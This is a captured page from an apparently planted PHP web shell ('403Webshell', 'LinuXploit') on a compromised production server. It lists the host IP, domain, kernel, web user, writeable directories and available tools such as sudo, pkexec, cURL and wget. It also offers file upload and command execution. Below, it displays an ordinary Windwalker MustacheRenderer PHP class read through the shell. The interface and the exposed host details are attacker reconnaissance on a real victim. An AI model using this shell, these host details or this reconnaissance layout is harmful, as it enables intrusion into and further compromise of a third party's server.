403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/app.ansachsongkhoe.net/vendor/windwalker/renderer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.ansachsongkhoe.net/vendor/windwalker/renderer/MustacheRenderer.php
<?php declare(strict_types=1);
/**
 * Part of Windwalker project.
 *
 * @copyright  Copyright (C) 2019 LYRASOFT.
 * @license    LGPL-2.0-or-later
 */

namespace Windwalker\Renderer;

/**
 * The MustacheRenderer class.
 *
 * @since  2.0
 */
class MustacheRenderer extends AbstractEngineRenderer
{
    /**
     * Property engine.
     *
     * @var \Mustache_Engine
     */
    protected $engine;

    /**
     * Property loader.
     *
     * @var \Mustache_Loader
     */
    protected $loader;

    /**
     * render
     *
     * @param string $file
     * @param array  $data
     *
     * @return  string
     */
    public function render($file, $data = [])
    {
        $engine = $this->getEngine();

        $path = $this->findFile($file);

        $engine->setLoader($this->getLoader(dirname($path)));

        return $engine->render($file, $data);
    }

    /**
     * findFile
     *
     * @param string $file
     * @param string $ext
     *
     * @return  string
     */
    public function findFile($file, $ext = '')
    {
        $ext = $ext ?: $this->config->get('extension', 'mustache');

        return parent::findFile($file, $ext);
    }

    /**
     * Method to get property Engine
     *
     * @param   boolean $new
     *
     * @return  \Mustache_Engine
     */
    public function getEngine($new = false)
    {
        if (!$this->engine || $new) {
            $this->engine = new \Mustache_Engine($this->config->get('options', []));
        }

        return $this->engine;
    }

    /**
     * Method to set property engine
     *
     * @param   \Mustache_Engine $engine
     *
     * @return  static  Return self to support chaining.
     */
    public function setEngine($engine)
    {
        if (!($engine instanceof \Mustache_Engine)) {
            throw new \InvalidArgumentException('Engine object should be Mustache_Engine');
        }

        $this->engine = $engine;

        return $this;
    }

    /**
     * Method to get property Loader
     *
     * @param string $path
     *
     * @return  \Mustache_Loader
     */
    public function getLoader($path = null)
    {
        if (!$this->loader) {
            $options = [
                // 'extension' => '.html'
            ];

            $options = array_merge($options, (array) $this->config->get('loader_options', []));

            $this->loader = new \Mustache_Loader_FilesystemLoader($path, $options);
        }

        return $this->loader;
    }

    /**
     * Method to set property loader
     *
     * @param   \Mustache_Loader $loader
     *
     * @return  static  Return self to support chaining.
     */
    public function setLoader($loader)
    {
        $this->loader = $loader;

        return $this;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit